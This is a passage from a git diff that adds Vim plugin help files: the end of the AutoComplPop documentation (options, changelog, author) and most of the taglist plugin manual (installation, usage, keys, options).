attempted. + + *g:acp_behaviorCssOmniValueLength* > + let g:acp_behaviorCssOmniValueLength = 0 +< + Length of keyword characters before the cursor, which are needed to + attempt CSS omni-completion for values. If negative value, this + completion will be never attempted. + + *g:acp_behavior* > + let g:acp_behavior = {} +< + This option is for advanced users. This setting overrides other + behavior options. This is a |Dictionary|. Each key corresponds to a + filetype. '*' is default. Each value is a list. These are attempted in + sequence until completion item is found. Each element is a + |Dictionary| which has following items: + + "command": *g:acp_behavior-command* + Command to be fed to open popup menu for completions. + + "completefunc": *g:acp_behavior-completefunc* + 'completefunc' will be set to this user-provided function during the + completion. Only makes sense when "command" is "". + + "meets": *g:acp_behavior-meets* + Name of the function which dicides whether or not to attempt this + completion. It will be attempted if this function returns non-zero. + This function takes a text before the cursor. + + "onPopupClose": *g:acp_behavior-onPopupClose* + Name of the function which is called when popup menu for this + completion is closed. Following completions will be suppressed if + this function returns zero. + + "repeat": *g:acp_behavior-repeat* + If non-zero, the last completion is automatically repeated. + + +============================================================================== +SPECIAL THANKS *acp-thanks* + +- Daniel Schierbeck +- Ingo Karkat + + +============================================================================== +CHANGELOG *acp-changelog* + +2.14.1 + - Changed the way of auto-popup for avoiding an issue about filename + completion. + - Fixed a bug that popup menu was opened twice when auto-popup was done. + +2.14 + - Added the support for perl-completion.vim. + +2.13 + - Changed to sort snipMate's triggers. + - Fixed a bug that a wasted character was inserted after snipMate's trigger + completion. + +2.12.1 + - Changed to avoid a strange behavior with Microsoft IME. + +2.12 + - Added g:acp_behaviorKeywordIgnores option. + - Added g:acp_behaviorUserDefinedMeets option and removed + g:acp_behaviorUserDefinedPattern. + - Changed to do auto-popup only when a buffer is modified. + - Changed the structure of g:acp_behavior option. + - Changed to reflect a change of behavior options (named g:acp_behavior*) + any time it is done. + - Fixed a bug that completions after omni completions or snipMate's trigger + completion were never attempted when no candidate for the former + completions was found. + +2.11.1 + - Fixed a bug that a snipMate's trigger could not be expanded when it was + completed. + +2.11 + - Implemented experimental feature which is snipMate's trigger completion. + +2.10 + - Improved the response by changing not to attempt any completion when + keyword characters are entered after a word which has been found that it + has no completion candidate at the last attempt of completions. + - Improved the response by changing to close popup menu when was + pressed and the text before the cursor would not match with the pattern of + current behavior. + +2.9 + - Changed default behavior to support XML omni completion. + - Changed default value of g:acp_behaviorKeywordCommand option. + The option with "\" cause a problem which inserts a match without + when 'dictionary' has been set and keyword completion is done. + - Changed to show error message when incompatible with a installed vim. + +2.8.1 + - Fixed a bug which inserted a selected match to the next line when + auto-wrapping (enabled with 'formatoptions') was performed. + +2.8 + - Added g:acp_behaviorUserDefinedFunction option and + g:acp_behaviorUserDefinedPattern option for users who want to make custom + completion auto-popup. + - Fixed a bug that setting 'spell' on a new buffer made typing go crazy. + +2.7 + - Changed naming conventions for filenames, functions, commands, and options + and thus renamed them. + - Added g:acp_behaviorKeywordCommand option. If you prefer the previous + behavior for keyword completion, set this option "\". + - Changed default value of g:acp_ignorecaseOption option. + + The following were done by Ingo Karkat: + + - ENH: Added support for setting a user-provided 'completefunc' during the + completion, configurable via g:acp_behavior. + - BUG: When the configured completion is or , the command to + restore the original text (in on_popup_post()) must be reverted, too. + - BUG: When using a custom completion function () that also uses + an s:...() function name, the s:GetSidPrefix() function dynamically + determines the wrong SID. Now calling s:DetermineSidPrefix() once during + sourcing and caching the value in s:SID. + - BUG: Should not use custom defined completion mappings. Now + consistently using unmapped completion commands everywhere. (Beforehand, + s:PopupFeeder.feed() used mappings via feedkeys(..., 'm'), but + s:PopupFeeder.on_popup_post() did not due to its invocation via + :map-expr.) + +2.6: + - Improved the behavior of omni completion for HTML/XHTML. + +2.5: + - Added some options to customize behavior easily: + g:AutoComplPop_BehaviorKeywordLength + g:AutoComplPop_BehaviorFileLength + g:AutoComplPop_BehaviorRubyOmniMethodLength + g:AutoComplPop_BehaviorRubyOmniSymbolLength + g:AutoComplPop_BehaviorPythonOmniLength + g:AutoComplPop_BehaviorHtmlOmniLength + g:AutoComplPop_BehaviorCssOmniPropertyLength + g:AutoComplPop_BehaviorCssOmniValueLength + +2.4: + - Added g:AutoComplPop_MappingDriven option. + +2.3.1: + - Changed to set 'lazyredraw' while a popup menu is visible to avoid + flickering. + - Changed a behavior for CSS. + - Added support for GetLatestVimScripts. + +2.3: + - Added a behavior for Python to support omni completion. + - Added a behavior for CSS to support omni completion. + +2.2: + - Changed not to work when 'paste' option is set. + - Fixed AutoComplPopEnable command and AutoComplPopDisable command to + map/unmap "i" and "R". + +2.1: + - Fixed the problem caused by "." command in Normal mode. + - Changed to map "i" and "R" to feed completion command after starting + Insert mode. + - Avoided the problem caused by Windows IME. + +2.0: + - Changed to use CursorMovedI event to feed a completion command instead of + key mapping. Now the auto-popup is triggered by moving the cursor. + - Changed to feed completion command after starting Insert mode. + - Removed g:AutoComplPop_MapList option. + +1.7: + - Added behaviors for HTML/XHTML. Now supports the omni completion for + HTML/XHTML. + - Changed not to show expressions for CTRL-R =. + - Changed not to set 'nolazyredraw' while a popup menu is visible. + +1.6.1: + - Changed not to trigger the filename completion by a text which has + multi-byte characters. + +1.6: + - Redesigned g:AutoComplPop_Behavior option. + - Changed default value of g:AutoComplPop_CompleteOption option. + - Changed default value of g:AutoComplPop_MapList option. + +1.5: + - Implemented continuous-completion for the filename completion. And added + new option to g:AutoComplPop_Behavior. + +1.4: + - Fixed the bug that the auto-popup was not suspended in fuzzyfinder. + - Fixed the bug that an error has occurred with Ruby-omni-completion unless + Ruby interface. + +1.3: + - Supported Ruby-omni-completion by default. + - Supported filename completion by default. + - Added g:AutoComplPop_Behavior option. + - Added g:AutoComplPop_CompleteoptPreview option. + - Removed g:AutoComplPop_MinLength option. + - Removed g:AutoComplPop_MaxLength option. + - Removed g:AutoComplPop_PopupCmd option. + +1.2: + - Fixed bugs related to 'completeopt'. + +1.1: + - Added g:AutoComplPop_IgnoreCaseOption option. + - Added g:AutoComplPop_NotEnableAtStartup option. + - Removed g:AutoComplPop_LoadAndEnable option. +1.0: + - g:AutoComplPop_LoadAndEnable option for a startup activation is added. + - AutoComplPopLock command and AutoComplPopUnlock command are added to + suspend and resume. + - 'completeopt' and 'complete' options are changed temporarily while + completing by this script. + +0.4: + - The first match are selected when the popup menu is Opened. You can insert + the first match with CTRL-Y. + +0.3: + - Fixed the problem that the original text is not restored if 'longest' is + not set in 'completeopt'. Now the plugin works whether or not 'longest' is + set in 'completeopt', and also 'menuone'. + +0.2: + - When completion matches are not found, insert CTRL-E to stop completion. + - Clear the echo area. + - Fixed the problem in case of dividing words by symbols, popup menu is + not opened. + +0.1: + - First release. + + +============================================================================== +ABOUT *acp-about* *acp-contact* *acp-author* + +Author: Takeshi NISHIDA +Licence: MIT Licence +URL: http://www.vim.org/scripts/script.php?script_id=1879 + http://bitbucket.org/ns9tks/vim-autocomplpop/ + +Bugs/Issues/Suggestions/Improvements ~ + +Please submit to http://bitbucket.org/ns9tks/vim-autocomplpop/issues/ . + +============================================================================== + vim:tw=78:ts=8:ft=help:norl: + diff --git a/vim/.vim/doc/taglist.txt b/vim/.vim/doc/taglist.txt new file mode 100755 index 00000000..6a62b396 --- /dev/null +++ b/vim/.vim/doc/taglist.txt @@ -0,0 +1,1501 @@ +*taglist.txt* Plugin for browsing source code + +Author: Yegappan Lakshmanan (yegappan AT yahoo DOT com) +For Vim version 6.0 and above +Last change: 2007 May 24 + +1. Overview |taglist-intro| +2. Taglist on the internet |taglist-internet| +3. Requirements |taglist-requirements| +4. Installation |taglist-install| +5. Usage |taglist-using| +6. Options |taglist-options| +7. Commands |taglist-commands| +8. Global functions |taglist-functions| +9. Extending |taglist-extend| +10. FAQ |taglist-faq| +11. License |taglist-license| +12. Todo |taglist-todo| + +============================================================================== + *taglist-intro* +1. Overview~ + +The "Tag List" plugin is a source code browser plugin for Vim. This plugin +allows you to efficiently browse through source code files for different +programming languages. The "Tag List" plugin provides the following features: + + * Displays the tags (functions, classes, structures, variables, etc.) + defined in a file in a vertically or horizontally split Vim window. + * In GUI Vim, optionally displays the tags in the Tags drop-down menu and + in the popup menu. + * Automatically updates the taglist window as you switch between + files/buffers. As you open new files, the tags defined in the new files + are added to the existing file list and the tags defined in all the + files are displayed grouped by the filename. + * When a tag name is selected from the taglist window, positions the + cursor at the definition of the tag in the source file. + * Automatically highlights the current tag name. + * Groups the tags by their type and displays them in a foldable tree. + * Can display the prototype and scope of a tag. + * Can optionally display the tag prototype instead of the tag name in the + taglist window. + * The tag list can be sorted either by name or by chronological order. + * Supports the following language files: Assembly, ASP, Awk, Beta, C, + C++, C#, Cobol, Eiffel, Erlang, Fortran, HTML, Java, Javascript, Lisp, + Lua, Make, Pascal, Perl, PHP, Python, Rexx, Ruby, Scheme, Shell, Slang, + SML, Sql, TCL, Verilog, Vim and Yacc. + * Can be easily extended to support new languages. Support for + existing languages can be modified easily. + * Provides functions to display the current tag name in the Vim status + line or the window title bar. + * The list of tags and files in the taglist can be saved and + restored across Vim sessions. + * Provides commands to get the name and prototype of the current tag. + * Runs in both console/terminal and GUI versions of Vim. + * Works with the winmanager plugin. Using the winmanager plugin, you + can use Vim plugins like the file explorer, buffer explorer and the + taglist plugin at the same time like an IDE. + * Can be used in both Unix and MS-Windows systems. + +============================================================================== + *taglist-internet* +2. Taglist on the internet~ + +The home page of the taglist plugin is at: +> + http://vim-taglist.sourceforge.net/ +< +You can subscribe to the taglist mailing list to post your questions or +suggestions for improvement or to send bug reports. Visit the following page +for subscribing to the mailing list: +> + http://groups.yahoo.com/group/taglist +< +============================================================================== + *taglist-requirements* +3. Requirements~ + +The taglist plugin requires the following: + + * Vim version 6.0 and above + * Exuberant ctags 5.0 and above + +The taglist plugin will work on all the platforms where the exuberant ctags +utility and Vim are supported (this includes MS-Windows and Unix based +systems). + +The taglist plugin relies on the exuberant ctags utility to dynamically +generate the tag listing. The exuberant ctags utility must be installed in +your system to use this plugin. The exuberant ctags utility is shipped with +most of the Linux distributions. You can download the exuberant ctags utility +from +> + http://ctags.sourceforge.net +< +The taglist plugin doesn't use or create a tags file and there is no need to +create a tags file to use this plugin. The taglist plugin will not work with +the GNU ctags or the Unix ctags utility. + +This plugin relies on the Vim "filetype" detection mechanism to determine the +type of the current file. You have to turn on the Vim filetype detection by +adding the following line to your .vimrc file: +> + filetype on +< +The taglist plugin will not work if you run Vim in the restricted mode (using +the -Z command-line argument). + +The taglist plugin uses the Vim system() function to invoke the exuberant +ctags utility. If Vim is compiled without the system() function then you +cannot use the taglist plugin. Some of the Linux distributions (Suse) compile +Vim without the system() function for security reasons. + +============================================================================== + *taglist-install* +4. Installation~ + +1. Download the taglist.zip file and unzip the files to the $HOME/.vim or the + $HOME/vimfiles or the $VIM/vimfiles directory. After this step, you should + have the following two files (the directory structure should be preserved): + + plugin/taglist.vim - main taglist plugin file + doc/taglist.txt - documentation (help) file + + Refer to the |add-plugin|and |'runtimepath'| Vim help pages for more + details about installing Vim plugins. +2. Change to the $HOME/.vim/doc or $HOME/vimfiles/doc or $VIM/vimfiles/doc + directory, start Vim and run the ":helptags ." command to process the + taglist help file. Without this step, you cannot jump to the taglist help + topics. +3. If the exuberant ctags utility is not present in one of the directories in + the PATH environment variable, then set the 'Tlist_Ctags_Cmd' variable to + point to the location of the exuberant ctags utility (not to the directory) + in the .vimrc file. +4. If you are running a terminal/console version of Vim and the terminal + doesn't support changing the window width then set the + 'Tlist_Inc_Winwidth' variable to 0 in the .vimrc file. +5. Restart Vim. +6. You can now use the ":TlistToggle" command to open/close the taglist + window. You can use the ":help taglist" command to get more information + about using the taglist plugin. + +To uninstall the taglist plugin, remove the plugin/taglist.vim and +doc/taglist.txt files from the $HOME/.vim or $HOME/vimfiles directory. + +============================================================================== + *taglist-using* +5. Usage~ + +The taglist plugin can be used in several different ways. + +1. You can keep the taglist window open during the entire editing session. On + opening the taglist window, the tags defined in all the files in the Vim + buffer list will be displayed in the taglist window. As you edit files, the + tags defined in them will be added to the taglist window. You can select a + tag from the taglist window and jump to it. The current tag will be + highlighted in the taglist window. You can close the taglist window when + you no longer need the window. +2. You can configure the taglist plugin to process the tags defined in all the + edited files always. In this configuration, even if the taglist window is + closed and the taglist menu is not displayed, the taglist plugin will + processes the tags defined in newly edited files. You can then open the + taglist window only when you need to select a tag and then automatically + close the taglist window after selecting the tag. +3. You can configure the taglist plugin to display only the tags defined in + the current file in the taglist window. By default, the taglist plugin + displays the tags defined in all the files in the Vim buffer list. As you + switch between files, the taglist window will be refreshed to display only + the tags defined in the current file. +4. In GUI Vim, you can use the Tags pull-down and popup menu created by the + taglist plugin to display the tags defined in the current file and select a + tag to jump to it. You can use the menu without opening the taglist window. + By default, the Tags menu is disabled. +5. You can configure the taglist plugin to display the name of the current tag + in the Vim window status line or in the Vim window title bar. For this to + work without the taglist window or menu, you need to configure the taglist + plugin to process the tags defined in a file always. +6. You can save the tags defined in multiple files to a taglist session file + and load it when needed. You can also configure the taglist plugin to not + update the taglist window when editing new files. You can then manually add + files to the taglist window. + +Opening the taglist window~ +You can open the taglist window using the ":TlistOpen" or the ":TlistToggle" +commands. The ":TlistOpen" command opens the taglist window and jumps to it. +The ":TlistToggle" command opens or closes (toggle) the taglist window and the +cursor remains in the current window. If the 'Tlist_GainFocus_On_ToggleOpen' +variable is set to 1, then the ":TlistToggle" command opens the taglist window +and moves the cursor to the taglist window. + +You can map a key to invoke these commands. For example, the following command +creates a normal mode mapping for the key to toggle the taglist window. +> + nnoremap :TlistToggle +< +Add the above mapping to your ~/.vimrc or $HOME/_vimrc file. + +To automatically open the taglist window on Vim startup, set the +'Tlist_Auto_Open' variable to 1. + +You can also open the taglist window on startup using the following command +line: +> + $ vim +TlistOpen +< +Closing the taglist window~ +You can close the taglist window from the taglist window by pressing 'q' or +using the Vim ":q" command. You can also use any of the Vim window commands to +close the taglist window. Invoking the ":TlistToggle" command when the taglist +window is opened, closes the taglist window. You can also use the +":TlistClose" command to close the taglist window. + +To automatically close the taglist window when a tag or file is selected, you +can set the 'Tlist_Close_On_Select' variable to 1. To exit Vim when only the +taglist window is present, set the 'Tlist_Exit_OnlyWindow' variable to 1. + +Jumping to a tag or a file~ +You can select a tag in the taglist window either by pressing the key +or by double clicking the tag name using the mouse. To jump to a tag on a +single mouse click set the 'Tlist_Use_SingleClick' variable to 1. + +If the selected file is already opened in a window, then the cursor is moved +to that window. If the file is not currently opened in a window then the file +is opened in the window used by the taglist plugin to show the previously +selected file. If there are no usable windows, then the file is opened in a +new window. The file is not opened in special windows like the quickfix +window, preview window and windows containing buffer with the 'buftype' option +set. + +To jump to the tag in a new window, press the 'o' key. To open the file in the +previous window (Ctrl-W_p) use the 'P' key. You can press the 'p' key to jump +to the tag but still keep the cursor in the taglist window (preview). + +To open the selected file in a tab, use the 't' key. If the file is already +present in a tab then the cursor is moved to that tab otherwise the file is +opened in a new tab. To jump to a tag in a new tab press Ctrl-t. The taglist +window is automatically opened in the newly created tab. + +Instead of jumping to a tag, you can open a file by pressing the key +or by double clicking the file name using the mouse. + +In the taglist window, you can use the [[ or key to jump to the +beginning of the previous file. You can use the ]] or key to jump to the +beginning of the next file. When you reach the first or last file, the search +wraps around and the jumps to the next/previous file. + +Highlighting the current tag~ +The taglist plugin automatically highlights the name of the current tag in the +taglist window. The Vim |CursorHold| autocmd event is used for this. If the +current tag name is not visible in the taglist window, then the taglist window +contents are scrolled to make that tag name visible. You can also use the +":TlistHighlightTag" command to force the highlighting of the current tag. + +The tag name is highlighted if no activity is performed for |'updatetime'| +milliseconds. The default value for this Vim option is 4 seconds. To avoid +unexpected problems, you should not set the |'updatetime'| option to a very +low value. + +To disable the automatic highlighting of the current tag name in the taglist +window, set the 'Tlist_Auto_Highlight_Tag' variable to zero. + +When entering a Vim buffer/window, the taglist plugin automatically highlights +the current tag in that buffer/window. If you like to disable the automatic +highlighting of the current tag when entering a buffer, set the +'Tlist_Highlight_Tag_On_BufEnter' variable to zero. + +Adding files to the taglist~ +When the taglist window is opened, all the files in the Vim buffer list are +processed and the supported files are added to the taglist. When you edit a +file in Vim, the taglist plugin automatically processes this file and adds it +to the taglist. If you close the taglist window, the tag information in the +taglist is retained. + +To process files even when the taglist window is not open, set the +'Tlist_Process_File_Always' variable to 1. + +You can manually add multiple files to the taglist without opening them using +the ":TlistAddFiles" and the ":TlistAddFilesRecursive" commands. + +For example, to add all the C files in the /my/project/dir directory to the +taglist, you can use the following command: +> + :TlistAddFiles /my/project/dir/*.c +< +Note that when adding several files with a large number of tags or a large +number of files, it will take several seconds to several minutes for the +taglist plugin to process all the files. You should not interrupt the taglist +plugin by pressing . + +You can recursively add multiple files from a directory tree using the +":TlistAddFilesRecursive" command: +> + :TlistAddFilesRecursive /my/project/dir *.c +< +This command takes two arguments. The first argument specifies the directory +from which to recursively add the files. The second optional argument +specifies the wildcard matching pattern for selecting the files to add. The +default pattern is * and all the files are added. + +Displaying tags for only one file~ +The taglist window displays the tags for all the files in the Vim buffer list +and all the manually added files. To display the tags for only the current +active buffer, set the 'Tlist_Show_One_File' variable to 1. + +Removing files from the taglist~ +You can remove a file from the taglist window, by pressing the 'd' key when the +cursor is on one of the tags listed for the file in the taglist window. The +removed file will no longer be displayed in the taglist window in the current +Vim session. To again display the tags for the file, open the file in a Vim +window and then use the ":TlistUpdate" command or use ":TlistAddFiles" command +to add the file to the taglist. + +When a buffer is removed from the Vim buffer list using the ":bdelete" or the +":bwipeout" command, the taglist is updated to remove the stored information +for this buffer. + +Updating the tags displayed for a file~ +The taglist plugin keeps track of the modification time of a file. When the +modification time changes (the file is modified), the taglist plugin +automatically updates the tags listed for that file. The modification time of +a file is checked when you enter a window containing that file or when you +load that file. + +You can also update or refresh the tags displayed for a file by pressing the +"u" key in the taglist window. If an existing file is modified, after the file +is saved, the taglist plugin automatically updates the tags displayed for the +file. + +You can also use the ":TlistUpdate" command to update the tags for the current +buffer after you made some changes to it. You should save the modified buffer +before you update the taglist window. Otherwise the listed tags will not +include the new tags created in the buffer. + +If you have deleted the tags displayed for a file in the taglist window using +the 'd' key, you can again display the tags for that file using the +":TlistUpdate" command. + +Controlling the taglist updates~ +To disable the automatic processing of new files or modified files, you can +set the 'Tlist_Auto_Update' variable to zero. When this variable is set to +zero, the taglist is updated only when you use the ":TlistUpdate" command or +the ":TlistAddFiles" or the ":TlistAddFilesRecursive" commands. You can use +this option to control which files are added to the taglist. + +You can use the ":TlistLock" command to lock the taglist contents. After this +command is executed, new files are not automatically added to the taglist. +When the taglist is locked, you can use the ":TlistUpdate" command to add the +current file or the ":TlistAddFiles" or ":TlistAddFilesRecursive" commands to +add new files to the taglist. To unlock the taglist, use the ":TlistUnlock" +command. + +Displaying the tag prototype~ +To display the prototype of the tag under the cursor in the taglist window, +press the space bar. If you place the cursor on a tag name in the taglist +window, then the tag prototype is displayed at the Vim status line after +|'updatetime'| milliseconds. The default value for the |'updatetime'| Vim +option is 4 seconds. + +You can get the name and prototype of a tag without opening the taglist window +and the taglist menu using the ":TlistShowTag" and the ":TlistShowPrototype" +commands. These commands will work only if the current file is already present +in the taglist. To use these commands without opening the taglist window, set +the 'Tlist_Process_File_Always' variable to 1. + +You can use the ":TlistShowTag" command to display the name of the tag at or +before the specified line number in the specified file. If the file name and +line number are not supplied, then this command will display the name of the +current tag. For example, +> + :TlistShowTag + :TlistShowTag myfile.java 100 +< +You can use the ":TlistShowPrototype" command to display the prototype of the +tag at or before the specified line number in the specified file. If the file +name and the line number are not supplied, then this command will display the +prototype of the current tag. For example, +> + :TlistShowPrototype + :TlistShowPrototype myfile.c 50 +< +In the taglist window, when the mouse is moved over a tag name, the tag +prototype is displayed in a balloon. This works only in GUI versions where +balloon evaluation is supported. + +Taglist window contents~ +The taglist window contains the tags defined in various files in the taglist +grouped by the filename and by the tag type (variable, function, class, etc.). +For tags with scope information (like class members, structures inside +structures, etc.), the scope information is displayed in square brackets "[]" +after the tag name. + +The contents of the taglist buffer/window are managed by the taglist plugin. +The |'filetype'| for the taglist buffer is set to 'taglist'. The Vim +|'modifiable'| option is turned off for the taglist buffer. You should not +manually edit the taglist buffer, by setting the |'modifiable'| flag. If you +manually edit the taglist buffer contents, then the taglist plugin will be out +of sync with the taglist buffer contents and the plugin will no longer work +correctly. To redisplay the taglist buffer contents again, close the taglist +window and reopen it. + +Opening and closing the tag and file tree~ +In the taglist window, the tag names are displayed as a foldable tree using +the Vim folding support. You can collapse the tree using the '-' key or using +the Vim |zc| fold command. You can open the tree using the '+' key or using +the Vim |zo| fold command. You can open all the folds using the '*' key or +using the Vim |zR| fold command. You can also use the mouse to open/close the +folds. You can close all the folds using the '=' key. You should not manually +create or delete the folds in the taglist window. + +To automatically close the fold for the inactive files/buffers and open only +the fold for the current buffer in the taglist window, set the +'Tlist_File_Fold_Auto_Close' variable to 1. + +Sorting the tags for a file~ +The tags displayed in the taglist window can be sorted either by their name or +by their chronological order. The default sorting method is by the order in +which the tags appear in a file. You can change the default sort method by +setting the 'Tlist_Sort_Type' variable to either "name" or "order". You can +sort the tags by their name by pressing the "s" key in the taglist window. You +can again sort the tags by their chronological order using the "s" key. Each +file in the taglist window can be sorted using different order. + +Zooming in and out of the taglist window~ +You can press the 'x' key in the taglist window to maximize the taglist +window width/height. The window will be maximized to the maximum possible +width/height without closing the other existing windows. You can again press +'x' to restore the taglist window to the default width/height. + + *taglist-session* +Taglist Session~ +A taglist session refers to the group of files and their tags stored in the +taglist in a Vim session. + +You can save and restore a taglist session (and all the displayed tags) using +the ":TlistSessionSave" and ":TlistSessionLoad" commands. + +To save the information about the tags and files in the taglist to a file, use +the ":TlistSessionSave" command and specify the filename: +> + :TlistSessionSave +< +To load a saved taglist session, use the ":TlistSessionLoad" command: > + + :TlistSessionLoad +< +When you load a taglist session file, the tags stored in the file will be +added to the tags already stored in the taglist. + +The taglist session feature can be used to save the tags for large files or a +group of frequently used files (like a project). By using the taglist session +file, you can minimize the amount to time it takes to load/refresh the taglist +for multiple files. + +You can create more than one taglist session file for multiple groups of +files. + +Displaying the tag name in the Vim status line or the window title bar~ +You can use the Tlist_Get_Tagname_By_Line() function provided by the taglist +plugin to display the current tag name in the Vim status line or the window +title bar. Similarly, you can use the Tlist_Get_Tag_Prototype_By_Line() +function to display the current tag prototype in the Vim status line or the +window title bar. + +For example, the following command can be used to display the current tag name +in the status line: +> + :set statusline=%<%f%=%([%{Tlist_Get_Tagname_By_Line()}]%) +< +The following command can be used to display the current tag name in the +window title bar: +> + :set title titlestring=%<%f\ %([%{Tlist_Get_Tagname_By_Line()}]%) +< +Note that the current tag name can be displayed only after the file is +processed by the taglist plugin. For this, you have to either set the +'Tlist_Process_File_Always' variable to 1 or open the taglist window or use +the taglist menu. For more information about configuring the Vim status line, +refer to the documentation for the Vim |'statusline'| option. + +Changing the taglist window highlighting~ +The following Vim highlight groups are defined and used to highlight the +various entities in the taglist window: + + TagListTagName - Used for tag names + TagListTagScope - Used for tag scope + TagListTitle - Used for tag titles + TagListComment - Used for comments + TagListFileName - Used for filenames + +By default, these highlight groups are linked to the standard Vim highlight +groups. If you want to change the colors used for these highlight groups, +prefix the highlight group name with 'My' and define it in your .vimrc or +.gvimrc file: MyTagListTagName, MyTagListTagScope, MyTagListTitle, +MyTagListComment and MyTagListFileName. For example, to change the colors +used for tag names, you can use the following command: +> + :highlight MyTagListTagName guifg=blue ctermfg=blue +< +Controlling the taglist window~ +To use a horizontally split taglist window, instead of a vertically split +window, set the 'Tlist_Use_Horiz_Window' variable to 1. + +To use a vertically split taglist window on the rightmost side of the Vim +window, set the 'Tlist_Use_Right_Window' variable to 1. + +You can specify the width of the vertically split taglist window, by setting +the 'Tlist_WinWidth' variable. You can specify the height of the horizontally +split taglist window, by setting the 'Tlist_WinHeight' variable. + +When opening a vertically split taglist window, the Vim window width is +increased to accommodate the new taglist window. When the taglist window is +closed, the Vim window is reduced. To disable this, set the +'Tlist_Inc_Winwidth' variable to zero. + +To reduce the number of empty lines in the taglist window, set the +'Tlist_Compact_Format' variable to 1. + +To not display the Vim fold column in the taglist window, set the +'Tlist_Enable_Fold_Column' variable to zero. + +To display the tag prototypes instead of the tag names in the taglist window, +set the 'Tlist_Display_Prototype' variable to 1. + +To not display the scope of the tags next to the tag names, set the +'Tlist_Display_Tag_Scope' variable to zero. + + *taglist-keys* +Taglist window key list~ +The following table lists the description of the keys that can be used +in the taglist window. + + Key Description~ + + Jump to the location where the tag under cursor is + defined. + o Jump to the location where the tag under cursor is + defined in a new window. + P Jump to the tag in the previous (Ctrl-W_p) window. + p Display the tag definition in the file window and + keep the cursor in the taglist window itself. + t Jump to the tag in a new tab. If the file is already + opened in a tab, move to that tab. + Ctrl-t Jump to the tag in a new tab. + Display the prototype of the tag under the cursor. + For file names, display the full path to the file, + file type and the number of tags. For tag types, display the + tag type and the number of tags. + u Update the tags listed in the taglist window + s Change the sort order of the tags (by name or by order) + d Remove the tags for the file under the cursor + x Zoom-in or Zoom-out the taglist window + + Open a fold + - Close a fold + * Open all folds + = Close all folds + [[ Jump to the beginning of the previous file + Jump to the beginning of the previous file + ]] Jump to the beginning of the next file + Jump to the beginning of the next file + q Close the taglist window + Display help + +The above keys will work in both the normal mode and the insert mode. + + *taglist-menu* +Taglist menu~ +When using GUI Vim, the taglist plugin can display the tags defined in the +current file in the drop-down menu and the popup menu. By default, this +feature is turned off. To turn on this feature, set the 'Tlist_Show_Menu' +variable to 1. + +You can jump to a tag by selecting the tag name from the menu. You can use the +taglist menu independent of the taglist window i.e. you don't need to open the +taglist window to get the taglist menu. + +When you switch between files/buffers, the taglist menu is automatically +updated to display the tags defined in the current file/buffer. + +The tags are grouped by their type (variables, functions, classes, methods, +etc.) and displayed as a separate sub-menu for each type. If all the tags +defined in a file are of the same type (e.g. functions), then the sub-menu is +not used. + +If the number of items in a tag type submenu exceeds the value specified by +the 'Tlist_Max_Submenu_Items' variable, then the submenu will be split into +multiple submenus. The default setting for 'Tlist_Max_Submenu_Items' is 25. +The first and last tag names in the submenu are used to form the submenu name. +The menu items are prefixed by alpha-numeric characters for easy selection by +keyboard. + +If the popup menu support is enabled (the |'mousemodel'| option contains +"popup"), then the tags menu is added to the popup menu. You can access +the popup menu by right clicking on the GUI window. + +You can regenerate the tags menu by selecting the 'Tags->Refresh menu' entry. +You can sort the tags listed in the menu either by name or by order by +selecting the 'Tags->Sort menu by->Name/Order' menu entry. + +You can tear-off the Tags menu and keep it on the side of the Vim window +for quickly locating the tags. + +Using the taglist plugin with the winmanager plugin~ +You can use the taglist plugin with the winmanager plugin. This will allow you +to use the file explorer, buffer explorer and the taglist plugin at the same +time in different windows. To use the taglist plugin with the winmanager +plugin, set 'TagList' in the 'winManagerWindowLayout' variable. For example, +to use the file explorer plugin and the taglist plugin at the same time, use +the following setting: > + + let winManagerWindowLayout = 'FileExplorer|TagList' +< +Getting help~ +If you have installed the taglist help file (this file), then you can use the +Vim ":help taglist-" command to get help on the various taglist +topics. + +You can press the key in the taglist window to display the help +information about using the taglist window. If you again press the key, +the help information is removed from the taglist window. + + *taglist-debug* +Debugging the taglist plugin~ +You can use the ":TlistDebug" command to enable logging of the debug messages +from the taglist plugin. To display the logged debug messages, you can use the +":TlistMessages" command. To disable the logging of the debug messages, use +the ":TlistUndebug" command. + +You can specify a file name to the ":TlistDebug" command to log the debug +messages to a file. Otherwise, the debug messages are stored in a script-local +variable. In the later case, to minimize memory usage, only the last 3000 +characters from the debug messages are stored. + +============================================================================== + *taglist-options* +6. Options~ + +A number of Vim variables control the behavior of the taglist plugin. These +variables are initialized to a default value. By changing these variables you +can change the behavior of the taglist plugin. You need to change these +settings only if you want to change the behavior of the taglist plugin. You +should use the |:let| command in your .vimrc file to change the setting of any +of these variables. + +The configurable taglist variables are listed below. For a detailed +description of these variables refer to the text below this table. + +|'Tlist_Auto_Highlight_Tag'| Automatically highlight the current tag in the + taglist. +|'Tlist_Auto_Open'| Open the taglist window when Vim starts. +|'Tlist_Auto_Update'| Automatically update the taglist to include + newly edited files. +|'Tlist_Close_On_Select'| Close the taglist window when a file or tag is + selected. +|'Tlist_Compact_Format'| Remove extra information and blank lines from + the taglist window. +|'Tlist_Ctags_Cmd'| Specifies the path to the ctags utility. +|'Tlist_Display_Prototype'| Show prototypes and not tags in the taglist + window. +|'Tlist_Display_Tag_Scope'| Show tag scope next to the tag name. +|'Tlist_Enable_Fold_Column'| Show the fold indicator column in the taglist + window. +|'Tlist_Exit_OnlyWindow'| Close Vim if the taglist is the only window. +|'Tlist_File_Fold_Auto_Close'| Close tag folds for inactive buffers. +|'Tlist_GainFocus_On_ToggleOpen'| + Jump to taglist window on open. +|'Tlist_Highlight_Tag_On_BufEnter'| + On entering a buffer, automatically highlight + the current tag. +|'Tlist_Inc_Winwidth'| Increase the Vim window width to accommodate + the taglist window. +|'Tlist_Max_Submenu_Items'| Maximum number of items in a tags sub-menu. +|'Tlist_Max_Tag_Length'| Maximum tag length used in a tag menu entry. +|'Tlist_Process_File_Always'| Process files even when the taglist window is + closed. +|'Tlist_Show_Menu'| Display the tags menu. +|'Tlist_Show_One_File'| Show tags for the current buffer only. +|'Tlist_Sort_Type'| Sort method used for arranging the tags. +|'Tlist_Use_Horiz_Window'| Use a horizontally split window for the + taglist window. +|'Tlist_Use_Right_Window'| Place the taglist window on the right side. +|'Tlist_Use_SingleClick'| Single click on a tag jumps to it. +|'Tlist_WinHeight'| Horizontally split taglist window height. +|'Tlist_WinWidth'| Vertically split taglist window width. + + *'Tlist_Auto_Highlight_Tag'* +Tlist_Auto_Highlight_Tag~ +The taglist plugin will automatically highlight the current tag in the taglist +window. If you want to disable this, then you can set the +'Tlist_Auto_Highlight_Tag' variable to zero. Note that even though the current +tag highlighting is disabled, the tags for a new file will still be added to +the taglist window. +> + let 